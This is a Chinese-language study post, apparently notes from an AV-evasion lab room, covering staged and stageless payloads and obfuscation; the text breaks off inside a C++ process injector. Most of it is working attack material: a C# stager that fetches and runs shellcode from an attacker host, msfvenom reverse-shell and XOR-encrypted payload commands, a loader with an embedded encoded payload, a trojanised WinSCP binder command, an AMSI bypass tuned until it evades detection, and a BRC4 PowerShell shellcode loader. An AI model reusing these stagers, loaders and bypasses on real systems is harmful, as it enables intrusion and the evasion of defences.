之前在玩 MSF 的时候就发现分大马和小马了,这就是房间里面说的 staged or stageless payloads。
在渗透测试和恶意软件开发中,Payload 通常分为两种类型:无阶段 (Stageless) 和 **分阶段 (Staged)**。它们代表了两种不同的代码投递和执行策略,各有优缺点,需要根据目标环境来选择。
无阶段 Payload
无阶段 Payload 是一个单一、完整的可执行文件,包含了恶意代码所需的所有功能。它不需要从攻击者的服务器下载任何额外的组件。

优点:
- 独立性强:Payload 包含了所有必需的代码,无需额外的网络连接。
- 隐蔽性高:由于没有后续的网络下载行为,它更难被网络安全设备(如 IPS)检测到。
- 适用于受限环境:特别适合在无法进行出站网络连接的封闭网络或气隙网络(air-gapped networks)中使用。
分阶段 Payload
分阶段 Payload 采用两步走策略。第一阶段是一个很小的 Stager(或称“小马”),它的唯一任务就是与攻击者服务器建立连接,然后下载并执行第二阶段的最终 Payload(或称“大马”)。

优点:
- 体积小:Stager 的体积很小,减少了初始文件的磁盘占用,更易于投递。
- 增强隐蔽性:最终的 Payload 不会直接存储在磁盘上,而是在内存中加载和执行,这使得它更难被传统的基于签名的杀毒软件检测到。
- 灵活性高:同一个 Stager 可以用于下载不同的最终 Payload,攻击者可以根据需要动态更换 Payload,而无需重新投递文件。
- 保护 Payload:核心的恶意代码(最终 Payload)永远不会暴露在磁盘上,从而保护了其免受蓝队分析。
选择合适的 Payload
- 当你的目标是网络连接受限的环境,或者你想避免网络流量被监测时,无阶段 Payload 是更好的选择。例如,进行 USB 投递攻击时,无阶段 Payload 能确保在没有网络连接的情况下也能成功执行。
- 当你的主要目标是最小化本地足迹,并避免被杀毒软件检测时,分阶段 Payload 是更优的方案。它利用了内存执行的优势,让分析和取证变得更加困难。
Metasploit 中的 Stager
如果要生成反向 TCP shell,会发现有两种有效载荷可用于此目的,名称略有不同(注意 shell
之后的 _
与 /
):
Payload | Type |
---|---|
windows/x64/shell_reverse_tcp | Stageless payload |
windows/x64/shell/reverse_tcp | Staged payload |
创建你自己的 Stager
要创建分阶段有效载荷,我们将使用 @mvelazc0 提供的 stager 代码的略微修改版本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program
{
// https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
// https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
// https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://10.11.141.2/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
// 创建一个 WebClient 对象
WebClient wc = new WebClient();
// 允许自签证书
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
// 下载 Shellcode 写入到变量中
byte[] shellcode = wc.DownloadData(url);
// 分配内存
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 写入内存
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
// 定义线程句柄
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
// 启动线程
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
// 等待线程执行完成
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
使用我们的 Stager 运行反向 Shell
1
2
3
4
5
6
7
8
9
10
11
// 生成一个 shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.141.2 LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
// 创建自签证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname"
// 启动 HTTPS 服务器
python3 -c 'from http.server import HTTPServer, SimpleHTTPRequestHandler; import ssl; host, port = "0.0.0.0", 443; httpd = HTTPServer((host, port), SimpleHTTPRequestHandler); context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); context.load_cert_chain(certfile="cert.pem", keyfile="key.pem"); httpd.socket = context.wrap_socket(httpd.socket, server_side=True); print(f"HTTPS server running on https://{host}:{port}/"); httpd.serve_forever()'
// 接收反向 shell
nc -lvp 7474
注意这里用的是 SimpleHTTPRequestHandler
,他支持文件共享。
1
2
3
4
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
tasklist /svc | findstr Def
tasklist /svc | findstr Virus
绕过杀软手段
编码和加密
把 shellcode 编码或者是直接用加密算法把 shellcode 加密,再在 loader 里面解密之后写入内存,这样能避免直接检查出 shellcode 的明文,绕过静态检测,不过有些杀软也有解密的功能
1
2
3
4
5
6
7
8
9
10
11
12
# 显示可用的编码器
msfvenom --list encoders | grep excellent
# -e encoder
# -i 迭代次数
msfvenom -a x86 --platform Windows LHOST=10.11.141.2 LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe -o enc_shell.exe
# 显示可用的加密方式
msfvenom --list encrypt
# 使用 xor 加密
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe
创建自己的编码器
因为 MSF 创建的可以被检测到,所以我们要用自己的方式去处理。
1
2
# 创建一个 chsarp 格式的 shell 马
msfvenom LHOST=10.11.141.2 LPORT=4444 -p windows/x64/shell_reverse_tcp -f csharp
房间这里提供了一个加密器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
//Original Shellcode here (csharp format)
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
//XORing byte by byte and saving into a new array of bytes
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}
生成出来 Base64 编码好的字符
1
qADOr8OR8TIzIRUZDBthKGd6AvMxAMYZUzG6YCtp3xptA7gLYXo8lh4CAHr6MQDynx01NE9nEzjw+z5gVYmvpmE4YHq4c3TDD3d7eOG5s6lUSE0DtrlFVXsghBjGAys9unITaFWYrh17hvhzuBXcAEydfkj4egLh+AmMgj44MPMLwSG5AUh/XTl3CvAhkBUPuDkVezLxMgnGR3s9unIvaFWYDMA38Xkz42AMCRUVaiNwanJ4FRIFyN9ZcGDMwQwJFBF78iPbZN6rtxACjQ5CAGwSZkhNCmUwuNR7oLjoTEszMLjXep1WSFwXOXK8MHJ1HcGpB7qIcIh/VnJPsp5/8NtaMiBUSBQKiVCxWTPegRgdBgKwfAPzaauIBcLxMc7ye6iVCfehPKbRzeZp3Y8nW3IhfbvRad2xDPGq3EVTzPQcyYkLMXkxe4tCOSxNSzN5MXNjYAQAxKlkLmZ/AuE+RRQKY5vNVPRlcBxMSnv0dRYr51QgBcLVL2FzY2AECR0CzLlwYnrenAXEin/w8HOJWJh3y7TmMQDge96ew0MKiXG2L1PegfO9/pEvcIiVtOnVsp57+vUaDycoQs2w0ww0iXQyJicnS2o4uOjM9A==
现在我们有了编码好的 payload,所以我们需要一个可以解码我们 payload 的加载器,这个加载器用 NET8.0 编译会报错,直接用 csc 编译就行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
public static void Main()
{
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
byte[] data = Convert.FromBase64String(dataBS64);
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] encoded = xor(data, keyBytes);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
然后正常传过去上线就行了,不过这个也同样会被检测到。
打包器
这个就是传统意义上的加壳嘛,让可执行文件在不改变功能的情况下去压缩和混淆他的代码,其实和上面的编码和加密有点像,不过有 VMP 这种高级的壳,直接虚拟了一个运行环境转义来运行了,更高级了。
普通的加壳在执行之后扫内存可以解,房间里面介绍了一个 ConfuserEx 的加壳工具。
捆绑器
绑定器是一种将恶意可执行文件(payload)与一个或多个合法程序合并成一个新可执行文件的工具。它的主要目的是欺骗用户,让他们以为自己正在运行一个正常程序,而实际上恶意代码也在背后静默执行,绑定器本身不具备规避杀毒软件(AV)的能力。
1
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe
Obfuscation Principles 混淆原理
混淆是检测规避方法和防止恶意软件分析的重要组成部分。混淆最初是为了保护软件和知识产权不被窃取或复制。虽然它仍然广泛用于其最初目的,但攻击者已将其用于恶意目的。
Origins of Obfuscation 混淆起源
混淆广泛运用在软件相关领域,为了保护应用程序的知识产权和其他机密信息。
Minecraft 使用 ProGuard 混淆器去混淆他的 Java 类。同时他还发布了有限的混淆信息映射,作为旧的未混淆类和新的混淆类之间的转换器,以支持模组社区。
上述的只是混淆在公众领域运用的一个例子。为了记录和组织各种混淆方法,我们可以参考《分层混淆:一种用于分层安全的软件混淆技术分类法》这篇论文。这篇研究论文按照层级组织混淆方法,类似于 OSI 模型,但针对的是应用程序数据流。

每个子层都有具体的混淆方法,这个房间中主要关注的是 Code-Element 层的内容。

要使用这个战略,我们可以确定一个目标,然后选择一个符合我们要求的方法。例如,假设我们想混淆代码的布局但不能修改现有代码。在这种情况下,我们可以注入垃圾代码,如分类法所总结的:Code Element Layer
> Obfuscating Layout
> Junk Codes
,但它如何被恶意利用呢?
Obfuscation’s Function for Static Evasion 混淆在静态规避中的作用
这一节提到的是 Obfuscating Data,在恶意程序中隐藏其可识别的恶意代码,使其看起来像一个合法程序。
混淆方法 | 目的 |
---|---|
数组转换 | 通过分割、合并、折叠和展平来转换数组 |
数据编码 | 使用数学函数或密码对数据进行编码 |
数据程序化 | 用过程调用代替静态数据 |
数据拆分/合并 | 将一个变量的信息分散到几个新变量中 |
因为静态签名容易被绕过,所以接下来用数据拆分/合并来举例。
Object Concatenation 对象拼接
拼接在恶意软件中最常见的应用是破坏目标静态签名,攻击者还可以预先使用它来分解程序的所有对象,并尝试一次性删除所有签名,而无需逐个查找。
下面是一个 Yara 规则的示例,我们会用拼接去规避掉这个静态特征。
1
2
3
4
5
6
7
8
9
rule ExampleRule
{
strings:
$text_string = "AmsiScanBuffer"
$hex_string = { B8 57 00 07 80 C3 }
condition:
$my_text_string or $my_hex_string
}
当使用 Yara 扫描编译后的二进制文件时,如果存在定义的字符串,它将创建积极的警报/检测。通过连接,字符串在功能上可以相同,但在扫描时会显示为两个独立的字符串,从而不会触发警报。
1
2
3
4
// 原代码
IntPtr ASBPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
// 输入字符串拼接
IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
从字符串拼接技术延伸,攻击者还可以使用无效字符(或填充字符)来干扰或混淆静态签名。这些字符可以单独使用,也可以与字符串拼接结合使用,具体取决于签名的强度和实现方式。下表列出了一些我们可以利用的常见无效字符。
**Character ** | **Purpose ** | Example |
---|---|---|
分隔 | 将单个字符串拆分为多个子字符串并进行组合 | ('co'+'ffe'+'e') |
重排 | 重新排列字符串的组成部分 | ('{1}{0}'-f'ffee','co') |
空白字符 | 包含未被解析的空白字符 | .( 'Ne' +'w-Ob' + 'ject') |
反引号(Tick) | 包含未被解析的反引号 | d ownLoAd String |
随机大小写 | Tokens 通常不区分大小写,可以是任意大小写形式 | dOwnLoAdsTRing |
实践
混淆这段代码试试,我估计就是 Amsi
这种关键字作祟。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 第一版
[Ref].Assembly.GetType('Sys' + 'tem.Manag' + 'ement.Au' + 'tomation.Am' + 'siU' + 'tils').GetField('am'+'siIn' + 'itFailed','NonP' + 'ublic,S' + 'tatic').SetValue($null,$true)
# 失败了,拆解一下检测点看看
# 这个不能过
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# 这个能过
[Ref].Assembly.GetType('Sys' + 'tem.Manag' + 'ement.Au' + 'tomation.Am' + 'siU' + 'tils')
# 这个也能过
[Ref].Assembly.GetType('Sys' + 'tem.Manag' + 'ement.Au' + 'tomation.Am' + 'siU' + 'tils').GetField('am'+'siIn' + 'itFailed','NonP' + 'ublic,S' + 'tatic')
# 那就是最后一部分了
# 这里检测的其实是 SetValue,可以把这个抽离出来作为变量传进去
$Value="SetValue"
[Ref].Assembly.GetType('Sys' + 'tem.Manag' + 'ement.Au' + 'tomation.Am' + 'siU' + 'tils').GetField('am'+'siIn' + 'itFailed','NonP' + 'ublic,S' + 'tatic').$Value($null,$true)
Obfuscation’s Function for Analysis Deception 混淆在分析欺骗中的作用
虽然混淆能绕过软件检测,但是他依然会被人为检测到(毕竟人不是死的),所以可以利用一些逻辑和数学去创建一些难以理解的代码。
如果你想知道更多的逆向知识,推荐完成恶意软件分析模块。
下表列出了分类法中混淆布局和混淆控制子层所涵盖的方法。
混淆方法 | 目的 |
---|---|
垃圾代码 | 添加没有用的垃圾指令,也叫代码存根 |
分离相关代码 | 分离相关代码或者指令,增加阅读程序的难度 |
剥离冗余符号 | 剥离符号信息,例如调试信息或其他符号表 |
无意义标识符 | 将有意义的标识符转换为无意义的标识符 |
隐式控制 | 将显式控制指令转换为隐式指令 |
基于调度器的控制 | 在运行时确定要执行的下一个块 |
概率控制流 | 引入具有相同语义但不同语法的控制流 |
虚假控制流 | 故意添加到程序中但永不执行的控制流 |
上面的只是给一个概念性的认知,每种技术都有挺深的运用了,就留给你们自己探索了。如果碰到不懂的概念要及时查清楚,就比如标识符和符号的区别是什么。
Code Flow and Logic 代码流和逻辑
控制流是程序执行的骨架,它决定了代码的逻辑走向,比如 if/else
判断和循环。程序通常自上而下执行,直到遇到逻辑语句。控制流图(CFG)就是用来可视化这些逻辑路径的。
攻击者如何利用控制流?
对攻击者来说,控制流既是一个挑战,也是一个机会。安全分析师可以通过分析程序的控制流来理解其功能,这会暴露恶意意图。
然而,攻击者可以利用这一点,通过操纵控制流来混淆代码。他们的目标是引入复杂且无意义的逻辑,使得控制流变得任意混乱。这会:
- 迷惑分析师:让逆向工程师很难看懂代码的真实执行路径。
- 规避检测:通过改变代码的结构,使其不再符合杀毒软件已知的恶意行为模式。
Arbitrary Control Flow Patterns 任意控制流模式
任意控制流(Arbitrary Control Flow)指的是恶意软件开发者通过人为设计和混淆,使程序的执行路径变得复杂、非线性、难以预测和分析。
为了实现这种复杂的控制流,开发者会利用数学、逻辑或其他复杂算法,将不同的控制流模式注入到恶意代码中。这些算法的核心是谓词(Predicates),即那些只返回真或假值的判断式。从高层次看,我们可以将谓词理解为 if
语句中的条件,它决定了代码块是否执行。
不透明谓词 (Opaque Predicates)
在混淆技术中,不透明谓词是实现任意控制流的关键。正如之前提到的那篇论文所指出的,不透明谓词是一种其值对开发者已知但难以被逆向分析者推断的谓词。
举例来说,一个不透明谓词的数学表达式可能非常复杂,但开发者知道它的结果永远为真。当分析师试图理解这段代码时,他们会认为这里存在两种执行路径,但实际上只有一条是可行的。
不透明谓词属于虚假控制流和概率控制流方法。它可以与垃圾代码等其他混淆方法无缝结合,任意地向程序中添加虚假逻辑,或重构现有函数的控制流,从而使逆向工程变得异常艰巨。
虽然深入研究不透明谓词需要扎实的数学和计算基础,但在后续的分析中,我们将观察它的一个常见应用示例。
考拉兹猜想(The Collatz Conjecture)
考拉兹猜想是一个常被用作不透明谓词的数学问题。该猜想指出,如果对任意一个正整数重复应用以下两个算术运算,最终都将得到 1。
- 如果该数为偶数,将其除以 2。
- 如果该数为奇数,将其乘以 3 再加 1。
这个猜想的可用之处在于,我们已知对于任何正整数输入,其输出结果最终都将是 1。这个确定的输出使得它成为一个可靠的不透明谓词。
下面是考拉兹猜想在 Python 中的示例。
1
2
3
4
5
6
7
8
x = 0
while(x > 1):
if(x%2==1):
x=x*3+1
else:
x=x/2
if(x==1):
print("hello!")
while (x > 1)
这个条件就是我们所说的谓词。考拉兹猜想的数学特性保证了,只要 x
是一个大于 1 的正整数,这个循环最终都会结束,并且 x
的值会变为 1
。也就是说,x > 1
这个条件最终会变为假,但它必然会执行循环体内的代码。
对于开发者来说,他们知道这个循环最终会结束。但对于静态分析工具或逆向分析师来说,他们无法轻易地推断出这个循环何时会结束,或者 x
的最终值是什么。这段代码的逻辑看似复杂,但它的最终结果是确定且可预测的。
Protecting and Stripping Identifiable Information 保护和剥离可识别信息
可识别信息是逆向分析恶意软件的关键线索。通过隐藏或剥离这些信息,攻击者可以极大地增加分析师理解程序功能的难度。这些可识别信息主要分为三类:代码结构、对象名称(Object Names)和文件/编译属性。
对象名称混淆
对象名称,如变量名和函数名,能直接揭示代码的用途。尽管分析师可以通过行为分析来推断其功能,但如果没有这些上下文,难度会呈指数级上升。这种混淆方法也被称为词法混淆(Lexical Obfuscation),它将有意义的标识符(例如,checkPassword
)转换为无意义的名称(例如,a
或 _123
)。
- 编译型语言 vs. 解释型语言:
- 在 Python 或 PowerShell 等解释型语言中,所有对象名称在运行时都可见,因此所有名称都必须被混淆。
- 在 C 或 C++ 等编译型语言中,大多数本地变量名会在编译时被丢弃,但全局变量和函数名通常会保留在二进制文件中。此外,出现在字符串中的对象名称也需要特别处理,因为它们在运行时会被保留。
- 混淆技术:为了使混淆后的标识符更具迷惑性,攻击者会故意使用相同的名称来命名不同类型或不同作用域的对象。这种方法已被像 ProGuard 这样的 Java 混淆工具所采用。
剥离符号信息
优秀的编程实践通常会采用有意义的命名规则,并且在编译后的软件中默认保留一些名称(如 C/C++ 的全局变量名、Java 的所有名称)。这些有意义的名称会为逆向分析提供便利。因此,为了对抗分析,开发者会混淆或剥离(Strip)这些可识别信息,以防止它们暴露程序的原始功能。
作为解释型语言的一个例子,我们可以观察 BRC4 社区套件中已弃用的 Badger PowerShell 加载器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Set-StrictMode -Version 2
[Byte[]] $Ait1m = @(0x3d, 0x50, 0x51, 0x57, 0x50, 0x4e, 0x5f, 0x50, 0x4f, 0x2f, 0x50, 0x57, 0x50, 0x52, 0x4c, 0x5f, 0x50)
[Byte[]] $ahv3I = @(0x34, 0x59, 0x38, 0x50, 0x58, 0x5a, 0x5d, 0x64, 0x38, 0x5a, 0x4f, 0x60, 0x57, 0x50)
[Byte[]] $Moo5y = @(0x38, 0x64, 0x2f, 0x50, 0x57, 0x50, 0x52, 0x4c, 0x5f, 0x50, 0x3f, 0x64, 0x5b, 0x50)
[Byte[]] $ooR5o = @(0x2e, 0x57, 0x4c, 0x5e, 0x5e, 0x17, 0x0b, 0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e, 0x17, 0x0b, 0x3e, 0x50, 0x4c, 0x57, 0x50, 0x4f, 0x17, 0x0b, 0x2c, 0x59, 0x5e, 0x54, 0x2e, 0x57, 0x4c, 0x5e, 0x5e, 0x17, 0x0b, 0x2c, 0x60, 0x5f, 0x5a, 0x2e, 0x57, 0x4c, 0x5e, 0x5e)
[Byte[]] $Reo5o = @(0x3d, 0x60, 0x59, 0x5f, 0x54, 0x58, 0x50, 0x17, 0x0b, 0x38, 0x4c, 0x59, 0x4c, 0x52, 0x50, 0x4f)
[Byte[]] $Reib3 = @(0x3d, 0x3f, 0x3e, 0x5b, 0x50, 0x4e, 0x54, 0x4c, 0x57, 0x39, 0x4c, 0x58, 0x50, 0x17, 0x0b, 0x33, 0x54, 0x4f, 0x50, 0x2d, 0x64, 0x3e, 0x54, 0x52, 0x17, 0x0b, 0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e)
[Byte[]] $Thah8 = @(0x3b, 0x60, 0x4d, 0x57, 0x54, 0x4e, 0x17, 0x0b, 0x33, 0x54, 0x4f, 0x50, 0x2d, 0x64, 0x3e, 0x54, 0x52, 0x17, 0x0b, 0x39, 0x50, 0x62, 0x3e, 0x57, 0x5a, 0x5f, 0x17, 0x0b, 0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57)
[Byte[]] $ii5Ie = @(0x34, 0x59, 0x61, 0x5a, 0x56, 0x50)
[Byte[]] $KooG5 = @(0x38, 0x54, 0x4e, 0x5d, 0x5a, 0x5e, 0x5a, 0x51, 0x5f, 0x19, 0x42, 0x54, 0x59, 0x1e, 0x1d, 0x19, 0x40, 0x59, 0x5e, 0x4c, 0x51, 0x50, 0x39, 0x4c, 0x5f, 0x54, 0x61, 0x50, 0x38, 0x50, 0x5f, 0x53, 0x5a, 0x4f, 0x5e)
[Byte[]] $io9iH = @(0x32, 0x50, 0x5f, 0x3b, 0x5d, 0x5a, 0x4e, 0x2c, 0x4f, 0x4f, 0x5d, 0x50, 0x5e, 0x5e)
[Byte[]] $Qui5i = @(0x32, 0x50, 0x5f, 0x38, 0x5a, 0x4f, 0x60, 0x57, 0x50, 0x33, 0x4c, 0x59, 0x4f, 0x57, 0x50)
[Byte[]] $xee2N = @(0x56, 0x50, 0x5d, 0x59, 0x50, 0x57, 0x1e, 0x1d)
[Byte[]] $AD0Pi = @(0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57, 0x2c, 0x57, 0x57, 0x5a, 0x4e)
[Byte[]] $ahb3O = @(0x41, 0x54, 0x5d, 0x5f, 0x60, 0x4c, 0x57, 0x3b, 0x5d, 0x5a, 0x5f, 0x50, 0x4e, 0x5f)
[Byte[]] $yhe4c = @(0x2E, 0x5D, 0x50, 0x4C, 0x5F, 0x50, 0x3F, 0x53, 0x5D, 0x50, 0x4C, 0x4F)
function Get-Robf ($b3tz) {
$aisN = [System.Byte[]]::new($b3tz.Count)
for ($x = 0; $x -lt $aisN.Count; $x++) {
$aisN[$x] = ($b3tz[$x] + 21)
}
return [System.Text.Encoding]::ASCII.GetString($aisN)
}
function Get-PA ($vmod, $vproc) {
$a = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }).GetType((Get-Robf $KooG5))
return ($a.GetMethod((Get-Robf $io9iH), [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($a.GetMethod((Get-Robf $Qui5i))).Invoke($null, @($vmod)))), $vproc))
}
function Get-TDef {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$vtdef = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName((Get-Robf $Ait1m))), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule((Get-Robf $ahv3I), $false).DefineType((Get-Robf $Moo5y), (Get-Robf $ooR5o), [System.MulticastDelegate])
$vtdef.DefineConstructor((Get-Robf $Reib3), [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags((Get-Robf $Reo5o))
$vtdef.DefineMethod((Get-Robf $ii5Ie), (Get-Robf $Thah8), $var_return_type, $var_parameters).SetImplementationFlags((Get-Robf $Reo5o))
return $vtdef.CreateType()
}
[Byte[]]$vopcode = @(BADGER_SHELLCODE)
$vbuf = ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $AD0Pi)), (Get-TDef @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))).Invoke([IntPtr]::Zero, $vopcode.Length, 0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($vopcode, 0x0, $vbuf, $vopcode.length)
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $ahb3O)), (Get-TDef @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))).Invoke($vbuf, $vopcode.Length, 0x20, [ref](0)) | Out-Null
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-PA (Get-Robf $xee2N) (Get-Robf $yhe4c)), (Get-TDef @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([UInt32])))).Invoke(0, 0, $vbuf, [IntPtr]0, 0, [ref](0)) | Out-Null
你可能会注意到一些 cmdlet 和函数保持其原始状态……这是为什么呢?你可能希望创建一个应用程序,它在被检测后仍然能够迷惑逆向工程师,但可能不会显得可疑。如果恶意软件开发者混淆所有 cmdlet 和函数,这会提高解释型和编译型语言的熵,从而导致 EDR 警报分数更高。如果一个解释型代码片段在日志中显得看似随机或明显经过大量混淆,也可能导致其显得可疑。
Code Structure 代码结构
- 添加垃圾代码(Junk Code)和代码重排(Reordering Code)
- 目的:增加程序的复杂性,迷惑分析师。
- 原理:在恶意代码中插入大量无用的、不执行的指令或代码块,或者打乱代码块的原始顺序。这使得分析师难以从一堆杂乱的代码中找出真正的恶意逻辑。
- 适用范围:这种技术尤其适用于解释型语言(如 Python),因为它们的源代码通常是可见的,分析师可以直接查看。
- 分离相关代码(Separation of Related Code)
- 目的:规避启发式签名(Heuristic Signature)检测。
- 原理:启发式引擎会分析代码的上下文。例如,如果
OpenFile
和EncryptFile
这两个 API 调用在代码中紧挨着出现,启发式引擎就可能判断这是一个勒索软件。攻击者通过随机化这些相关代码的出现位置,将它们分散在程序的各个角落,从而破坏这种上下文关联,欺骗引擎,让它认为这些是无害的独立操作。
File & Compilation Properties 文件和编译属性
当程序编译为调试版本时,编译器将包含一个符号文件。符号通常有助于调试二进制映像,并且可以包含全局和局部变量、函数名称和入口点。攻击者必须意识到这些可能的问题,以确保正确的编译实践,并且没有信息泄露给分析人员。
对攻击者来说幸运的是,符号文件可以通过编译器或在编译后轻松移除。要从像 Visual Studio 这样的编译器中移除符号,我们需要将编译目标从 Debug
更改为 Release
,或者使用像 mingw 这样更轻量级的编译器。
如果我们需要从预编译镜像中移除符号,可以使用命令行工具: strip
。
以编译型语言为例,我们可以观察一个用 C++ 编写的进程注入器,它向命令行报告其状态。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include "windows.h"
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
